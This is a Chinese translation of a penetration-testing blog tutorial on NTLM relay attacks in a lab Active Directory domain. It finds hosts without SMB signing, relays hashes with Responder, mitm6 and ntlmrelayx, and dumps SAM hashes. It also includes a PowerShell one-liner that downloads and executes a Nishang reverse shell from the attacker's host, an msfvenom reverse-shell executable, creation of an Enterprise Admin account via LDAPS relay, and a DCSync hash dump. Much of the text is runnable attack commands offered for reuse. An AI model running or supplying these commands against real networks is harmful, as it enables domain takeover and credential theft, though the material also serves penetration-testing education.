在这篇文章中,我们将探索可用于执行 NTLM 中继攻击以横向移动并访问网络中不同机器和资源的不同技术。首先,我们将借鉴我的上一篇文章:LLMNR Poisoning with Responder,并了解如何使用 Responder 以及Impacket Suite of Tools中名为ntlmrelayx.py的出色工具来执行 SMB 中继攻击。之后,我们将了解如何通过删除 Responder 并使用另一个名为mitm6的令人难以置信的工具来完成 LDAP 中继攻击等,这将允许我们使用ntlmrelayx.py来利用 IPv6 。
SMB 中继攻击概述
SMB 中继攻击是指攻击者捕获用户 NTLM 哈希,然后将其中继以访问网络上禁用 SMB 签名的另一台计算机。
如果被中继的帐户在机器上具有本地管理权限,您可以利用他们的权限转储 SAM 哈希值或在主机上获取 SYSTEM shell。
查找禁用 SMB 签名的主机
要设置此攻击,我们需要做的第一件事是找到网络中禁用 SMB 签名的计算机。
SMB 签名的工作原理
-
启用后,在尝试中继凭据时,域将知道您不是真正的那个人,因为数据包没有由您签名,因此它不会让您进入。
-
禁用后,永远不会检查请求来源的真实性,系统只会看到用户 + 哈希并让您进入 - 只要您有权限。
当涉及到 Windows Server 计算机时,您会发现默认情况下“启用且需要”消息签名;但是,在任何工作站上,默认情况下都会显示“启用但不需要”。即使其“启用”,我们仍然可以执行中继攻击,因为“不需要”部分本质上与禁用相同。
使用 Nmap 查找禁用 SMB 签名的主机。
要查找主机的 SMB 签名状态,我们可以利用随 nmap 预装的 NSE(nmap 脚本引擎)中的 nmap 脚本之一。
举个例子,假设我们运行 nmap 扫描来快速查找网络中端口 445 打开的主机的 IP。
nmap -Pn 172.16.1.0/24 -p445
从这次扫描中我们可以看到有 3 台 Windows 主机打开了端口 445。从这里我们要创建一个包含所有三个 IP 的文件,并将其命名为 SMB_IPs.txt。
现在我们已经将所有目标主机保存在一个文本文件中,我们可以使用以下脚本来查找列表中每个 IP 的签名状态:
nmap --script=smb2-security-mode.nse -iL ./SMB_IPs.txt -p445
在这里我们看到 172.16.1.5 已启用签名,这意味着它可能是一个服务器;然而,172.16.1.100 和 172.16.1.200 都启用了签名,但不是必需的,这使得它们容易受到中继攻击!
如果网络中有很多主机,您希望使用 nmap 进行有针对性的扫描,这样您就可以在运行完整扫描时找到一些可以使用的东西。
使用 RunFinger.py 查找禁用 SMB 签名的主机。
Responder 中预打包了一个非常酷的工具,名为RunFinger.py。此脚本用于对端口 445 打开的 Windows 主机进行指纹识别,以查找其 SMB 签名状态。
使用此工具的一个好方法是针对 IP 列表使用它。幸运的是,我们已经在上一个示例中创建了 IP 列表。现在,我们可以将该列表输入 RunFinger.py,如下所示:
./RunFinger.py -f /opt/Juggernaut/SMB_IPs.txt
输出有点紧张,但我们可以在这里看到 172.16.1.5 的签名为 True,但 172.16.1.100 和 172.16.1.200 的签名都设置为 False。我们还可以看到一些已指纹识别的其他信息,例如版本、启用了 RDP,以及这些是 Windows 10 或 Server 2016/2019 计算机。
使用 Crackmapexec 构建 SMB 签名禁用列表
我们检查网络中所有计算机的 SMB 歌唱状态的最佳方法是使用一个名为裂纹映射执行的出色工具以及–gen-relay-list开关。
使用crackmap我们可以检查子网块中所有机器的签名状态;执行此操作时,crackmap 将创建一个文件,其中包含 SMB 歌唱设置为 False 的 IP 列表。
crackmapexec smb 172.16.1.0/24 --gen-relay-list smb_signing_disabled.tx
设置攻击响应程序
要使用Responder执行SMB中继攻击,我们需要编辑Responder.conf文件并禁用SMB和HTTP,以便我们只监听请求而不响应。内置的 Responder.conf 文件可以在此处找到:/usr/share/responder/Responder.conf — 如果该工具是从 GitHub 克隆的,则 Responder.conf 的位置将位于创建的响应程序目录中。
使用文本编辑器打开文件,然后编辑顶部的以下两行,将它们从“打开”切换为“关闭”。
在启动 Responder 之前,我们需要使用ip a命令确认哪个以太网卡面向我们正在中毒的网络。
现在我们已经找到了指向我们想要毒害的网络的以太网卡,我们可以使用以下命令启动响应程序:
responder -I eth0 -v
一切设置完毕后,让我们继续看看这次攻击的实际效果!
使用 Responder + ntlmrelayx.py 的 SMB 中继攻击
ntlmrelayx 是Impacket Suite of Tools中的一个工具。
将 Responder 与 ntlmrelayx.py 组合时,Responder 成为本地子网上的侦听器。与上一篇文章中使用 Responder 响应请求不同,这次我们关闭了 SMB 和 HTTP 服务器,因此它只会侦听发起 NTLMv1/v2 身份验证请求的受害者计算机。一旦有请求进来,Responder就会将请求发送到ntlmrelayx.py,然后ntlmrelayx.py将身份验证请求转发到另一台目标机器。
如果发出请求的帐户是常规域用户,那么我们可以像使用 smbexec.py 一样进入 SMB shell。但是,如果该帐户至少在目标计算机上具有本地管理权限,我们可以转储 SAM 文件以获取本地密码哈希值、启动 SYSTEM shell、转向其他设备等等!
以标准用户身份获取 SMB Shell
在此示例中,我们将把 NetNTLMv2 哈希从 172.16.1.200 中继到 172.16.1.100。
假设我们刚刚完成 nmap 网络扫描,发现 172.16.1.100 和 172.16.1.200 都打开了端口 445。在我们的枚举过程中,我们尝试使用sbmclient枚举任意一台机器上的所有共享;但是,我们发现 NULL 访问是不允许的。
由于我们无法使用 NULL 凭据访问共享,因此我们需要找到有效的凭据来枚举共享。这就是 SMB 中继发挥作用的地方!
通过将凭据从一台计算机中继到另一台计算机,我们将能够以有效用户身份访问 172.16.1.100 和 172.16.1.200 上的共享。我们只需要等待任一计算机上的用户发出的事件(输入错误的共享),然后我们就可以开始工作了!
为此,我们将使用为 nmap 扫描创建的 SMB_IPs.txt 文件,并将其输入到 ntlmrelayx.py 中以寻找来自两台机器的中继机会。
当 Responder 已经运行时,我们只需要使用以下命令启动 ntlmrelayx.py:
ntlmrelayx.py -tf SMB_IPs.txt -smb2support -i
此命令会将来自列表中任何 IP 的所有请求转发到列表中的所有 IP。如果从一台计算机中继到另一台计算机的帐户有权访问共享文件夹,那么由于我们使用了-i开关,这将在受害者的端口 11000 上创建一个绑定端口,可以使用 netcat 访问该端口。
现在,假设名为vcreed的用户在 172.16.1.200 上意外地将共享名“share”输入为“sahre”。
我们可以在响应程序输出中看到用户尝试访问名为“sahre”的共享,并且我们能够拦截该请求。
回到我们的 ntlmrelayx.py 输出,我们可以看到响应者能够将请求集中到 ntlmrelayx,后者能够使用哈希值并将其转发到文件中的所有 3 台机器:172.16.1.5、172.16.1.100 和172.16.1.200。
由于 172.16.1.5 已启用签名,因此针对该计算机的攻击失败。它仍然表示在端口 11000 上为 SMB 会话打开了绑定端口,但是,如果我们在攻击者计算机上访问该端口,我们将无法从 SMB shell 执行任何操作。我们还看到我们能够对 172.16.1.100 上的共享进行身份验证,并且该计算机的绑定端口在 11001 上打开。最后,我们无法对 172.16.1.200 上的任何共享进行身份验证,这表明可能没有共享文件存在于该主机上或者该请求源自该机器(确实如此)。
您无法将凭据从一台计算机中继到同一台计算机。这些攻击起作用的唯一方法是将凭据从一台计算机中继到另一台计算机。
由于 11001 上有一个为 172.16.1.100 打开的绑定端口,这就是我们想要与之交互的共享。使用 netcat 打开端口后,我们可以使用help命令来查看此 shell 可以使用哪些选项。
我们可以通过这个 shell 做很多事情;例如,如果用户具有对任何共享的完全访问权限,那么我们可以很容易地从这个 shell 转向适当的反向 shell。攻击者还可以列出他们可以枚举敏感文件的共享,甚至尝试访问文件系统根目录 (C$) 中的文件。
例如,在枚举共享时,我们发现一个名为“share”的自定义共享文件夹,其中包含一个名为 new_users.txt 的文件。也许这个文件中会有一些东西可以让我们增加我们的访问权限?
这与中继标准用户的凭据时所能得到的效果差不多。
通过中继本地管理员用户的哈希来转储本地 SAM 哈希
如果用户在 172.16.1.200 上输入错误的共享名,而该用户恰好是工作站 172.16.1.100 上的本地管理员,会发生什么情况?
启动 ntlmrelayx.py 与上一个示例相同,只是这次删除-i,以便它使用默认响应(转储 SAM 哈希)。
假设用户登录到三台计算机中的一台并像以前一样输错了共享名;但是,这次我们发现该用户在其中一台计算机上具有本地管理员权限。
在本示例中,不同的用户登录到 172.16.1.200 并输入了错误的共享名。但是,与上一个用户不同的是,该用户恰好是 172.16.1.100 上的本地管理员。因此,ntlmrelayx(无开关)的默认响应是转储本地 SAM 哈希值,而这正是所发生的情况。
通过中继本地管理员用户的哈希以 SYSTEM 身份执行命令
添加-c开关允许我们在受害主机上执行命令。如果我们碰巧中继本地管理员用户哈希,该命令将以系统身份执行。
我们可以使用以下命令启动 ntlmrelayx 来测试这一点:
ntlmrelayx.py -tf SMB_IPs.txt -smb2support -c 'whoami'
这次,当 172.16.1.100 上的本地管理员用户在 172.16.1.200 上输入错误的共享名时,whoami命令将以 SYSTEM 在 172.16.1.100 上执行。
现在我们可以更进一步来获取受害者的外壳。
现在我们可以通过命令执行来获取 shell,但对于本示例,我们将使用 Nishang 脚本集合中的 PowerShell 反向 shell 脚本。我们将使用的脚本称为 Invoke-PowerShellTcp.ps1。
将脚本复制到您的工作目录中,然后将以下命令附加到脚本底部:
将 IP 地址编辑为攻击者计算机的 IP。
Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.30 -Port 443
我通常会在我的漏洞利用文件夹中保留该脚本的多个副本,并在底部使用相同的命令,但使用不同的端口。然后我将端口号附加到每个副本的名称中。
将脚本复制到工作目录并在底部附加命令后,从与脚本相同的目录启动 HTTP 服务器。
接下来,我们需要在攻击者计算机上启动 netcat 侦听器,以通过端口 443 捕获 shell。
一旦完成所有设置,我们可以使用以下 ntlmrelayx 命令将 Nishang 脚本放入内存中,并在共享输入错误后在受害者上执行它:
ntlmrelayx.py -tf SMB_IPs.txt -smb2support -c "powershell.exe -c iex(new-object net.webclient).downloadstring('http://172.16.1.30:8000/Invoke-PowerShellTcp443.ps1')"
运行 ntlmrelayx 后,我们发现 172.16.1.100 上的本地管理员用户在 172.16.1.200 上输入了错误的共享。这导致请求被转发并执行上述命令。检查 ntlmrelayx 输出,我们可以看到发生了一些事情,因为它显示命令已执行。
回顾我们的 HTTP 服务器,我们看到受害者签入并下载了我们的脚本。
回到我们的监听器,我们得到了一个 SYSTEM shell!
通过中继本地管理员用户的哈希值下载并以系统身份执行 EXE
另一种可与 ntlmrelayx 一起使用来获取 shell 的技术是添加-e开关。此开关用于从攻击者计算机下载 EXE 并执行到受害者计算机上。
首先,我们需要使用msfvenom制作一个漏洞来在受害者上执行。对于这个例子,我们将只使用标准 shell;然而,制作一个 meterpreter shell 来利用 Metasploit 的强大功能始终是一个好主意。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o shell.exe
现在我们已经创建了漏洞利用程序,我们需要再次在端口 443 上启动 netcat 侦听器。之后,我们需要使用以下 ntlmrelayx 命令将 EXE 下载到受害者上,并在本地管理员错误输入共享后执行它:
ntlmrelayx.py -tf SMB_IPs.txt -smb2support -e ./shell.exe
在 172.16.1.100 的本地管理员在 172.16.1.200 上错误输入共享后,我们可以看到该文件作为随机字符串下载到 ADMIN$ 共享中,然后执行。
如果这看起来很熟悉,那是因为它与 psexec 使用相同的技术。
回到我们的监听器,我们得到了一个 SYSTEM shell!
虽然这种技术相当简单,但最好使用-c开关 + Nishang 脚本来获取 shell,因为它会直接下载/执行到内存中。由于-e开关将可执行文件下载到磁盘,因此它比使用 Nishang 更不隐蔽。
LDAP(S) 中继攻击概述
LDAP(S) 的工作原理是将 LDAP 用户绑定到 LDAP 服务器。客户端发送请求一组特定信息的操作请求,例如用户登录凭据或其他组织数据。然后,LDAP 服务器根据其内部语言处理查询,根据需要与目录服务通信,并提供响应。
当执行 NTLM 身份验证请求并且攻击者捕获凭据并利用 LDAP 协议将其中继到域控制器时,就会发生 LDAP 中继攻击。默认情况下,LDAP 签名和通道绑定未启用,这允许我们作为攻击者拦截 LDAP 请求并获取其发送的所有信息。
使用 mitm6 + ntlmrelayx.py 通过 DNS 接管进行 LDAP(S) 中继攻击
从现在开始,我们将不再使用 Responder,而是使用名为mitm6 的工具来进行其余的攻击。为了通过 LDAP(S) 中继凭证,我们需要查询 DC;然而,我们当前面临的问题是服务器默认启用签名,因此我们将无法使用响应程序执行此攻击,如下所示。
为了解决这个问题,我们将使用名为 mitm6 的工具而不是 Responder。
mitm6是一个渗透测试工具,它利用Windows的默认配置来接管默认的DNS服务器。它通过回复 DHCPv6 消息、为受害者提供链路本地 IPv6 地址并将攻击者主机设置为默认 DNS 服务器来实现此目的。作为 DNS 服务器,mitm6 将有选择地回复攻击者选择的 DNS 查询,并将受害者流量重定向到攻击者计算机而不是合法服务器。
运行现代 Windows 操作系统的计算机预先打包并默认启用 IPv6。这意味着计算机将定期使用 DHCPv6 和 DNS 请求 IPv6 租用。
大多数网络仍然是纯 IPv4 网络;然而,通过启用 IPv6 且不使用 IPv6,我们作为攻击者可以利用这一点为我们谋取利益。
当启用了 IPv6 但未使用 IPv6 时,几乎可以保证不会为 IPv6 设置 DNS 服务器。这意味着我们成为主 DNS 服务器,当我们侦听请求时,我们可以将这些请求传送到 ntlmrelayx,就像我们对 Responder 所做的那样。
通过这种攻击,我们将是唯一使用 DNS 应答请求的人,因此我们不需要依赖 LLMNR 或 NBT-NS 等后备协议。
mitm6 设计为与 ntlmrelayx 一起使用。您应该同时运行这些工具,在这种情况下,mitm6 将欺骗 DNS,导致受害者连接到 ntlmrelayx 进行 HTTP 和 SMB 连接。
转储有关域的信息
首先,我们需要启动 mitm6 并使用以下命令启动欺骗的 DNS 服务器:
mitm6 -i eth0 -d juggernaut.local
现在我们需要像使用以下命令运行 Responder 时一样启动 ntlmrelayx:
ntlmrelayx.py -6 -t ldaps://172.16.1.5 -smb2support -wh fakewpad.juggernaut.local -l gimmedaloot
此时,我们只需要等待其中一个工作站调用我们的欺骗性 DNS 服务器,这种情况大约每 30 分钟就会发生一次。发生这种情况时,我们将拦截该请求并将大量有关该域的信息转储到我们在命令中指定的gimmedaloot目录中。
或者,如果用户碰巧通过 SMB 或 HTTP 请求不存在的资源,我们将拦截该请求,然后同样获取信息转储。
为了加快此示例的速度,我们只需重新启动其中一个工作站 (172.16.1.100 / 172.16.1.200),这将导致 DHCPv6 更新事件发生,并允许我们看到此攻击的实际情况。
重新启动工作站后,我们可以在 ntlmrelayx 输出中看到该机器签入了我们的欺骗性 DNS 服务器,中继到 DC 并且能够转储战利品!
我们可以在这里看到经过 DC 身份验证的计算机帐户,而不是用户。我们所做的只是成功地通过 LDAP 连接到域的计算机,它为我们转储了所有这些信息!
现在,当我们进入 gimmedaloot 目录时,我们可以看到一堆各种格式的文件。最容易阅读的格式是 HTML 文件,因为我们可以在浏览器中打开它们,并以漂亮的 GUI 形式表示我们收集的所有信息。
如果你像我一样使用 sudo su 成为 root,你将无法使用 Firefox 打开这些文件,因为你没有设置显示环境变量。下拉至 kali(或任何您的标准用户名)并尝试打开它们,它应该可以工作。
例如,在Firefox中打开domain_users.html文件后,我们可以看到域中所有用户的大量信息。
现在我们已经枚举了域中的用户,我们可以尝试搜索任何 AS-REP 可烘焙或 kerberoastable 用户,或者我们可以使用常见密码测试密码喷射攻击。
有关每个主题的更多信息,请查看我关于kerberoasting和AS-REP 烘焙的帖子!
这太棒了;然而,当域管理员登录到任何工作站时,真正的魔力就会发生。
域管理员登录工作站后完全接管域
如果域管理员碰巧登录到网络中的任何工作站,ntlmrelayx 将自动创建一个具有管理员权限的域帐户!
我们可以看到,在域管理员用户登录到其中一个工作站(本例中为 172.16.1.100)后不久,它就通过 LDAPS 中继了用户凭据。因此,ntlmrelayx 采取的默认操作是使用域管理员的权限创建域用户并将其添加到 Enterprise Admins 组。
检查AD用户和计算机工具,我们可以看到新的域用户。
此时我们拥有该域。我们可以简单地按照输出显示的内容并使用Secretsdump.py(它也来自Impacket 工具套件)来转储域中的所有哈希值。由于创建的用户在域上具有 Replication-Get-Changes-All 权限,因此我们可以使用 Secretsdump.py 进行 DCSync。
DCSync 是一种允许攻击者模拟域控制器 (DC) 行为并通过域复制检索密码数据的攻击
secretsdump.py juggernaut.local/miUBjARusF:'4HVsO.XO^S,:OuI'@172.16.1.5
现在我们有了域管理员哈希,我们可以执行哈希传递攻击来获得 DC 的立足点并几乎执行我们想要的任何操作,例如:过度传递哈希、创建黄金票证、创建万能钥匙,这样的例子不胜枚举。
如果您想查看哈希传递攻击、哈希过度传递攻击或金票和传递票攻击的示例,请通过以下链接查看我的帖子。
使用 mitm6 + ntlmrelayx.py 的 SMB 中继攻击
之前我们看到了使用 Responder + ntlmrelayx.py 进行 SMB 中继攻击的示例,效果很好;但是,我们可以通过删除 Responder 并使用 mitm6 来执行所有这些 SMB 中继攻击。因为 mitm6 是为了与 ntlmrelayx 一起使用而构建的,所以这实际上是比使用 Responder 更好的使用方法。尽管这是更好的方法,但这两种方法的工作方式不同,在某些情况下,您可能会发现一种方法有效,而另一种则无效。例如,如果 IPv6 已禁用,但 LLMNR 尚未禁用。
由于有其他方法来执行攻击总是好的,因此请花时间练习运行我们之前执行的 SMB 中继攻击,只不过这次使用 mitm6 而不是 Responder。
最后说明
最后一点,我想说,虽然这篇文章很长,但老实说我们只触及了中继攻击的表面。mitm6 和 ntlrelayx 还可以做更多的事情。此外,还有许多其他出色的工具可用于中继攻击,例如 MultiRelay.py、PetitPotam 和 krbrelayx。
原文翻译自:
https://juggernaut-sec.com/ntlm-relay-attacks/#Dumping_Information_About_the_Domain
原文始发于微信公众号(Ots安全):横向移动 – NTLM 中继攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论